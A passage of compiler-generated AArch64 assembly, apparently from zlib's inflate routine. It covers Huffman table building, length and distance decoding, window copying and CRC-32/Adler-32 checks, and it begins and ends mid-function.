str w0, [sp, 72]
ldr x0, [sp, 160]
lsr x0, x0, 3
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #3
str w0, [sp, 64]
b .L1015
.L1022:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1144
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 256]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 256]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1020:
ldrb w0, [sp, 41]
add w0, w0, 7
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcc .L1022
nop
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
str wzr, [sp, 76]
ldr x0, [sp, 160]
and w0, w0, 127
add w0, w0, 11
str w0, [sp, 72]
ldr x0, [sp, 160]
lsr x0, x0, 7
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #7
str w0, [sp, 64]
nop
.L1015:
ldr x0, [sp, 200]
ldr w1, [x0, 132]
ldr w0, [sp, 72]
add w1, w1, w0
ldr x0, [sp, 200]
ldr w2, [x0, 124]
ldr x0, [sp, 200]
ldr w0, [x0, 128]
add w0, w2, w0
cmp w1, w0
bls .L1023
ldr x0, [sp, 24]
adrp x1, .LC28
add x1, x1, :lo12:.LC28
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L1014
.L1023:
ldr w0, [sp, 72]
str w0, [sp, 112]
ldr w0, [sp, 72]
sub w0, w0, #1
str w0, [sp, 72]
ldr w0, [sp, 112]
cmp w0, 0
bne .L1024
b .L1003
.L1024:
ldr x0, [sp, 200]
ldr w0, [x0, 132]
str w0, [sp, 116]
ldr x0, [sp, 200]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 132]
ldr w0, [sp, 76]
and w2, w0, 65535
ldr x0, [sp, 200]
ldr w1, [sp, 116]
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
b .L1023
.L1003:
ldr x0, [sp, 200]
ldr w1, [x0, 132]
ldr x0, [sp, 200]
ldr w2, [x0, 124]
ldr x0, [sp, 200]
ldr w0, [x0, 128]
add w0, w2, w0
cmp w1, w0
bcc .L1007
.L1014:
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 29
beq .L1145
ldr x0, [sp, 200]
ldrh w0, [x0, 656]
cmp w0, 0
bne .L1026
ldr x0, [sp, 24]
adrp x1, .LC29
add x1, x1, :lo12:.LC29
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1026:
ldr x0, [sp, 200]
add x1, x0, 1360
ldr x0, [sp, 200]
str x1, [x0, 136]
ldr x0, [sp, 200]
ldr x1, [x0, 136]
ldr x0, [sp, 200]
str x1, [x0, 96]
ldr x0, [sp, 200]
mov w1, 9
str w1, [x0, 112]
ldr x0, [sp, 200]
add x1, x0, 144
ldr x0, [sp, 200]
ldr w2, [x0, 124]
ldr x0, [sp, 200]
add x3, x0, 136
ldr x0, [sp, 200]
add x4, x0, 112
ldr x0, [sp, 200]
add x0, x0, 784
mov x5, x0
mov w0, 1
bl inflate_table
str w0, [sp, 80]
ldr w0, [sp, 80]
cmp w0, 0
beq .L1027
ldr x0, [sp, 24]
adrp x1, .LC30
add x1, x1, :lo12:.LC30
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1027:
ldr x0, [sp, 200]
ldr x1, [x0, 136]
ldr x0, [sp, 200]
str x1, [x0, 104]
ldr x0, [sp, 200]
mov w1, 6
str w1, [x0, 116]
ldr x0, [sp, 200]
ldr w0, [x0, 124]
uxtw x0, w0
add x0, x0, 72
lsl x0, x0, 1
ldr x1, [sp, 200]
add x1, x1, x0
ldr x0, [sp, 200]
ldr w2, [x0, 128]
ldr x0, [sp, 200]
add x3, x0, 136
ldr x0, [sp, 200]
add x4, x0, 116
ldr x0, [sp, 200]
add x0, x0, 784
mov x5, x0
mov w0, 2
bl inflate_table
str w0, [sp, 80]
ldr w0, [sp, 80]
cmp w0, 0
beq .L1028
ldr x0, [sp, 24]
adrp x1, .LC31
add x1, x1, :lo12:.LC31
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1028:
ldr x0, [sp, 200]
mov w1, 19
str w1, [x0]
ldr w0, [sp, 20]
cmp w0, 6
beq .L1146
.L875:
ldr x0, [sp, 200]
mov w1, 20
str w1, [x0]
.L874:
ldr w0, [sp, 56]
cmp w0, 5
bls .L1029
ldr w0, [sp, 60]
cmp w0, 257
bls .L1029
ldr x0, [sp, 24]
ldr x1, [sp, 152]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr w1, [sp, 60]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [sp, 144]
str x1, [x0]
ldr x0, [sp, 24]
ldr w1, [sp, 56]
str w1, [x0, 8]
ldr x0, [sp, 200]
ldr x1, [sp, 160]
str x1, [x0, 72]
ldr x0, [sp, 200]
ldr w1, [sp, 64]
str w1, [x0, 80]
nop
ldr w1, [sp, 68]
ldr x0, [sp, 24]
bl inflate_fast
ldr x0, [sp, 24]
ldr x0, [x0, 24]
str x0, [sp, 152]
ldr x0, [sp, 24]
ldr w0, [x0, 32]
str w0, [sp, 60]
ldr x0, [sp, 24]
ldr x0, [x0]
str x0, [sp, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
str w0, [sp, 56]
ldr x0, [sp, 200]
ldr x0, [x0, 72]
str x0, [sp, 160]
ldr x0, [sp, 200]
ldr w0, [x0, 80]
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 11
bne .L1147
ldr x0, [sp, 200]
mov w1, -1
str w1, [x0, 7140]
b .L1147
.L1029:
ldr x0, [sp, 200]
str wzr, [x0, 7140]
.L1034:
ldr x0, [sp, 200]
ldr x1, [x0, 96]
ldr x0, [sp, 160]
mov w3, w0
ldr x0, [sp, 200]
ldr w0, [x0, 112]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 40]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcs .L1148
ldr w0, [sp, 56]
cmp w0, 0
beq .L1149
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 280]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 280]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
b .L1034
.L1148:
nop
ldrb w0, [sp, 40]
cmp w0, 0
beq .L1035
ldrb w0, [sp, 40]
and w0, w0, 240
cmp w0, 0
bne .L1035
ldr w0, [sp, 40]
str w0, [sp, 48]
.L1039:
ldr x0, [sp, 200]
ldr x1, [x0, 96]
ldrh w0, [sp, 50]
mov w3, w0
ldr x0, [sp, 160]
mov w4, w0
ldrb w0, [sp, 49]
mov w2, w0
ldrb w0, [sp, 48]
add w0, w2, w0
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w4, w0
ldrb w2, [sp, 49]
lsr w0, w0, w2
add w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 40]
ldrb w0, [sp, 49]
mov w1, w0
ldrb w0, [sp, 41]
add w0, w1, w0
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcs .L1150
ldr w0, [sp, 56]
cmp w0, 0
beq .L1151
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 288]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 288]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
b .L1039
.L1150:
nop
ldrb w0, [sp, 49]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 49]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
ldrb w1, [sp, 49]
add w1, w0, w1
ldr x0, [sp, 200]
str w1, [x0, 7140]
.L1035:
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
ldrb w1, [sp, 41]
add w1, w0, w1
ldr x0, [sp, 200]
str w1, [x0, 7140]
ldrh w0, [sp, 42]
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
ldrb w0, [sp, 40]
cmp w0, 0
bne .L1040
ldr x0, [sp, 200]
mov w1, 25
str w1, [x0]
b .L896
.L1040:
ldrb w0, [sp, 40]
and w0, w0, 32
cmp w0, 0
beq .L1041
ldr x0, [sp, 200]
mov w1, -1
str w1, [x0, 7140]
ldr x0, [sp, 200]
mov w1, 11
str w1, [x0]
b .L896
.L1041:
ldrb w0, [sp, 40]
and w0, w0, 64
cmp w0, 0
beq .L1042
ldr x0, [sp, 24]
adrp x1, .LC32
add x1, x1, :lo12:.LC32
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1042:
ldrb w0, [sp, 40]
and w1, w0, 15
ldr x0, [sp, 200]
str w1, [x0, 92]
ldr x0, [sp, 200]
mov w1, 21
str w1, [x0]
.L873:
ldr x0, [sp, 200]
ldr w0, [x0, 92]
cmp w0, 0
beq .L1043
b .L1044
.L1046:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1152
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 296]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 296]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1044:
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr w1, [sp, 64]
cmp w1, w0
bcc .L1046
nop
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr x0, [sp, 160]
mov w3, w0
ldr x0, [sp, 200]
ldr w0, [x0, 92]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
add w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr x1, [sp, 160]
lsr x0, x1, x0
str x0, [sp, 160]
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr w1, [sp, 64]
sub w0, w1, w0
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
mov w1, w0
ldr x0, [sp, 200]
ldr w0, [x0, 92]
add w0, w1, w0
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 7140]
.L1043:
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr x0, [sp, 200]
str w1, [x0, 7144]
ldr x0, [sp, 200]
mov w1, 22
str w1, [x0]
.L1050:
ldr x0, [sp, 200]
ldr x1, [x0, 104]
ldr x0, [sp, 160]
mov w3, w0
ldr x0, [sp, 200]
ldr w0, [x0, 116]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 40]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcs .L1153
ldr w0, [sp, 56]
cmp w0, 0
beq .L1154
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 304]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 304]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
b .L1050
.L1153:
nop
ldrb w0, [sp, 40]
and w0, w0, 240
cmp w0, 0
bne .L1051
ldr w0, [sp, 40]
str w0, [sp, 48]
.L1055:
ldr x0, [sp, 200]
ldr x1, [x0, 104]
ldrh w0, [sp, 50]
mov w3, w0
ldr x0, [sp, 160]
mov w4, w0
ldrb w0, [sp, 49]
mov w2, w0
ldrb w0, [sp, 48]
add w0, w2, w0
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w4, w0
ldrb w2, [sp, 49]
lsr w0, w0, w2
add w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 40]
ldrb w0, [sp, 49]
mov w1, w0
ldrb w0, [sp, 41]
add w0, w1, w0
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcs .L1155
ldr w0, [sp, 56]
cmp w0, 0
beq .L1156
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 312]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 312]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
b .L1055
.L1155:
nop
ldrb w0, [sp, 49]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 49]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
ldrb w1, [sp, 49]
add w1, w0, w1
ldr x0, [sp, 200]
str w1, [x0, 7140]
.L1051:
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
ldrb w1, [sp, 41]
add w1, w0, w1
ldr x0, [sp, 200]
str w1, [x0, 7140]
ldrb w0, [sp, 40]
and w0, w0, 64
cmp w0, 0
beq .L1056
ldr x0, [sp, 24]
adrp x1, .LC33
add x1, x1, :lo12:.LC33
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1056:
ldrh w0, [sp, 42]
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 88]
ldrb w0, [sp, 40]
and w1, w0, 15
ldr x0, [sp, 200]
str w1, [x0, 92]
ldr x0, [sp, 200]
mov w1, 23
str w1, [x0]
.L871:
ldr x0, [sp, 200]
ldr w0, [x0, 92]
cmp w0, 0
beq .L1057
b .L1058
.L1060:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1157
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 320]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 320]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1058:
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr w1, [sp, 64]
cmp w1, w0
bcc .L1060
nop
ldr x0, [sp, 200]
ldr w1, [x0, 88]
ldr x0, [sp, 160]
mov w3, w0
ldr x0, [sp, 200]
ldr w0, [x0, 92]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
add w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 88]
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr x1, [sp, 160]
lsr x0, x1, x0
str x0, [sp, 160]
ldr x0, [sp, 200]
ldr w0, [x0, 92]
ldr w1, [sp, 64]
sub w0, w1, w0
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 7140]
mov w1, w0
ldr x0, [sp, 200]
ldr w0, [x0, 92]
add w0, w1, w0
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 7140]
.L1057:
ldr x0, [sp, 200]
mov w1, 24
str w1, [x0]
.L870:
ldr w0, [sp, 60]
cmp w0, 0
beq .L1158
ldr w1, [sp, 68]
ldr w0, [sp, 60]
sub w0, w1, w0
str w0, [sp, 72]
ldr x0, [sp, 200]
ldr w0, [x0, 88]
ldr w1, [sp, 72]
cmp w1, w0
bcs .L1062
ldr x0, [sp, 200]
ldr w1, [x0, 88]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 72]
ldr x0, [sp, 200]
ldr w0, [x0, 56]
ldr w1, [sp, 72]
cmp w1, w0
bls .L1063
ldr x0, [sp, 200]
ldr w0, [x0, 7136]
cmp w0, 0
beq .L1063
ldr x0, [sp, 24]
adrp x1, .LC34
add x1, x1, :lo12:.LC34
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1063:
ldr x0, [sp, 200]
ldr w0, [x0, 60]
ldr w1, [sp, 72]
cmp w1, w0
bls .L1064
ldr x0, [sp, 200]
ldr w0, [x0, 60]
ldr w1, [sp, 72]
sub w0, w1, w0
str w0, [sp, 72]
ldr x0, [sp, 200]
ldr x1, [x0, 64]
ldr x0, [sp, 200]
ldr w2, [x0, 52]
ldr w0, [sp, 72]
sub w0, w2, w0
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 168]
b .L1065
.L1064:
ldr x0, [sp, 200]
ldr x1, [x0, 64]
ldr x0, [sp, 200]
ldr w2, [x0, 60]
ldr w0, [sp, 72]
sub w0, w2, w0
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 168]
.L1065:
ldr x0, [sp, 200]
ldr w0, [x0, 84]
ldr w1, [sp, 72]
cmp w1, w0
bls .L1066
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 72]
b .L1066
.L1062:
ldr x0, [sp, 200]
ldr w0, [x0, 88]
uxtw x0, w0
neg x0, x0
ldr x1, [sp, 152]
add x0, x1, x0
str x0, [sp, 168]
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 72]
.L1066:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bls .L1067
ldr w0, [sp, 60]
str w0, [sp, 72]
.L1067:
ldr w1, [sp, 60]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 60]
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr w0, [sp, 72]
sub w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
.L1070:
ldr x0, [sp, 152]
str x0, [sp, 328]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 168]
str x0, [sp, 336]
ldr x0, [sp, 168]
add x0, x0, 1
str x0, [sp, 168]
ldr x0, [sp, 336]
ldrb w1, [x0]
ldr x0, [sp, 328]
strb w1, [x0]
ldr w0, [sp, 72]
sub w0, w0, #1
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 0
beq .L1159
b .L1070
.L1159:
nop
ldr x0, [sp, 200]
ldr w0, [x0, 84]
cmp w0, 0
bne .L1160
ldr x0, [sp, 200]
mov w1, 20
str w1, [x0]
b .L1160
.L869:
ldr w0, [sp, 60]
cmp w0, 0
beq .L1161
ldr x0, [sp, 152]
str x0, [sp, 224]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 200]
ldr w0, [x0, 84]
and w1, w0, 255
ldr x0, [sp, 224]
strb w1, [x0]
ldr w0, [sp, 60]
sub w0, w0, #1
str w0, [sp, 60]
ldr x0, [sp, 200]
mov w1, 20
str w1, [x0]
b .L896
.L868:
ldr x0, [sp, 200]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1073
b .L1074
.L1076:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1162
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 208]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 208]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1074:
ldr w0, [sp, 64]
cmp w0, 31
bls .L1076
nop
ldr w1, [sp, 68]
ldr w0, [sp, 60]
sub w0, w1, w0
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr x1, [x0, 40]
ldr w0, [sp, 68]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 40]
ldr x0, [sp, 200]
ldr x1, [x0, 32]
ldr w0, [sp, 68]
add x1, x1, x0
ldr x0, [sp, 200]
str x1, [x0, 32]
ldr w0, [sp, 68]
cmp w0, 0
beq .L1077
ldr x0, [sp, 200]
ldr w0, [x0, 16]
cmp w0, 0
beq .L1078
ldr x0, [sp, 200]
ldr x3, [x0, 24]
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 152]
add x0, x1, x0
ldr w2, [sp, 68]
mov x1, x0
mov x0, x3
bl crc32
str x0, [sp, 184]
b .L1079
.L1078:
ldr x0, [sp, 200]
ldr x3, [x0, 24]
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 152]
add x0, x1, x0
ldr w2, [sp, 68]
mov x1, x0
mov x0, x3
bl adler32
str x0, [sp, 184]
.L1079:
ldr x0, [sp, 200]
ldr x1, [sp, 184]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 184]
str x1, [x0, 96]
.L1077:
ldr w0, [sp, 60]
str w0, [sp, 68]
ldr x0, [sp, 200]
ldr w0, [x0, 16]
cmp w0, 0
beq .L1080
ldr x0, [sp, 160]
str x0, [sp, 176]
b .L1081
.L1080:
ldr x0, [sp, 160]
lsr x0, x0, 24
and x1, x0, 255
ldr x0, [sp, 160]
lsr x0, x0, 8
and x0, x0, 65280
orr x1, x1, x0
ldr x0, [sp, 160]
lsl x0, x0, 8
and x0, x0, 16711680
add x1, x1, x0
ldr x0, [sp, 160]
lsl x0, x0, 24
and x0, x0, 4294967295
add x0, x1, x0
str x0, [sp, 176]
.L1081:
ldr x0, [sp, 200]
ldr x0, [x0, 24]
ldr x1, [sp, 176]
cmp x1, x0
beq .L1082
ldr x0, [sp, 24]
adrp x1, .LC35
add x1, x1, :lo12:.LC35
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1082:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
.L1073:
ldr x0, [sp, 200]
mov w1, 27
str w1, [x0]
.L867:
ldr x0, [sp, 200]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1083
ldr x0, [sp, 200]
ldr w0, [x0, 16]
cmp w0, 0
beq .L1083
b .L1084
.L1086:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1163
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 216]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 216]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1084:
ldr w0, [sp, 64]
cmp w0, 31
bls .L1086
nop
ldr x0, [sp, 200]
ldr x0, [x0, 32]
and x0, x0, 4294967295
ldr x1, [sp, 160]
cmp x1, x0
beq .L1087
ldr x0, [sp, 24]
adrp x1, .LC36
add x1, x1, :lo12:.LC36
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1087:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
.L1083:
ldr x0, [sp, 200]
mov w1, 28
str w1, [x0]
.L866:
mov w0, 1
str w0, [sp, 80]
b .L899
.L865:
mov w0, -3
str w0, [sp, 80]
b .L899
.L863:
mov w0, -4
str w0, [sp, 52]
b .L857
.L862:
mov w0, -2
str w0, [sp, 52]
b .L857
.L1145:
nop
b .L1088
.L1147:
nop
b .L1088
.L1160:
nop
.L896:
b .L1088
.L1115:
nop
b .L899
.L1117:
nop
b .L899
.L1118:
nop
b .L899
.L1119:
nop
b .L899
.L1120:
nop
b .L899
.L1121:
nop
b .L899
.L1122:
nop
b .L899
.L1125:
nop
b .L899
.L1128:
nop
b .L899
.L1129:
nop
b .L899
.L1130:
nop
b .L899
.L1131:
nop
b .L899
.L1132:
nop
b .L899
.L1134:
nop
b .L899
.L1135:
nop
b .L899
.L1136:
nop
b .L899
.L1137:
nop
b .L899
.L1139:
nop
b .L899
.L1141:
nop
b .L899
.L1142:
nop
b .L899
.L1143:
nop
b .L899
.L1144:
nop
b .L899
.L1146:
nop
b .L899
.L1149:
nop
b .L899
.L1151:
nop
b .L899
.L1152:
nop
b .L899
.L1154:
nop
b .L899
.L1156:
nop
b .L899
.L1157:
nop
b .L899
.L1158:
nop
b .L899
.L1161:
nop
b .L899
.L1162:
nop
b .L899
.L1163:
nop
.L899:
ldr x0, [sp, 24]
ldr x1, [sp, 152]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr w1, [sp, 60]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [sp, 144]
str x1, [x0]
ldr x0, [sp, 24]
ldr w1, [sp, 56]
str w1, [x0, 8]
ldr x0, [sp, 200]
ldr x1, [sp, 160]
str x1, [x0, 72]
ldr x0, [sp, 200]
ldr w1, [sp, 64]
str w1, [x0, 80]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 52]
cmp w0, 0
bne .L1164
ldr x0, [sp, 24]
ldr w0, [x0, 32]
ldr w1, [sp, 68]
cmp w1, w0
beq .L1091
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 28
bhi .L1091
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 25
bls .L1165
ldr w0, [sp, 20]
cmp w0, 4
beq .L1091
b .L1090
.L1164:
nop
b .L1090
.L1165:
nop
.L1090:
ldr w1, [sp, 68]
ldr x0, [sp, 24]
bl updatewindow
str w0, [sp, 140]
ldr w0, [sp, 140]
cmp w0, 0
beq .L1091
ldr x0, [sp, 200]
mov w1, 30
str w1, [x0]
mov w0, -4
str w0, [sp, 52]
b .L857
.L1091:
ldr x0, [sp, 24]
ldr w0, [x0, 8]
ldr w1, [sp, 100]
sub w0, w1, w0
str w0, [sp, 100]
ldr x0, [sp, 24]
ldr w0, [x0, 32]
ldr w1, [sp, 68]
sub w0, w1, w0
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 100]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 16]
ldr x0, [sp, 24]
ldr x1, [x0, 40]
ldr w0, [sp, 68]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 40]
ldr x0, [sp, 200]
ldr x1, [x0, 32]
ldr w0, [sp, 68]
add x1, x1, x0
ldr x0, [sp, 200]
str x1, [x0, 32]
ldr x0, [sp, 200]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1093
ldr w0, [sp, 68]
cmp w0, 0
beq .L1093
ldr x0, [sp, 200]
ldr w0, [x0, 16]
cmp w0, 0
beq .L1094
ldr x0, [sp, 200]
ldr x3, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr w0, [sp, 68]
neg x0, x0
add x0, x1, x0
ldr w2, [sp, 68]
mov x1, x0
mov x0, x3
bl crc32
str x0, [sp, 192]
b .L1095
.L1094:
ldr x0, [sp, 200]
ldr x3, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr w0, [sp, 68]
neg x0, x0
add x0, x1, x0
ldr w2, [sp, 68]
mov x1, x0
mov x0, x3
bl adler32
str x0, [sp, 192]
.L1095:
ldr x0, [sp, 200]
ldr x1, [sp, 192]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 192]
str x1, [x0, 96]
.L1093:
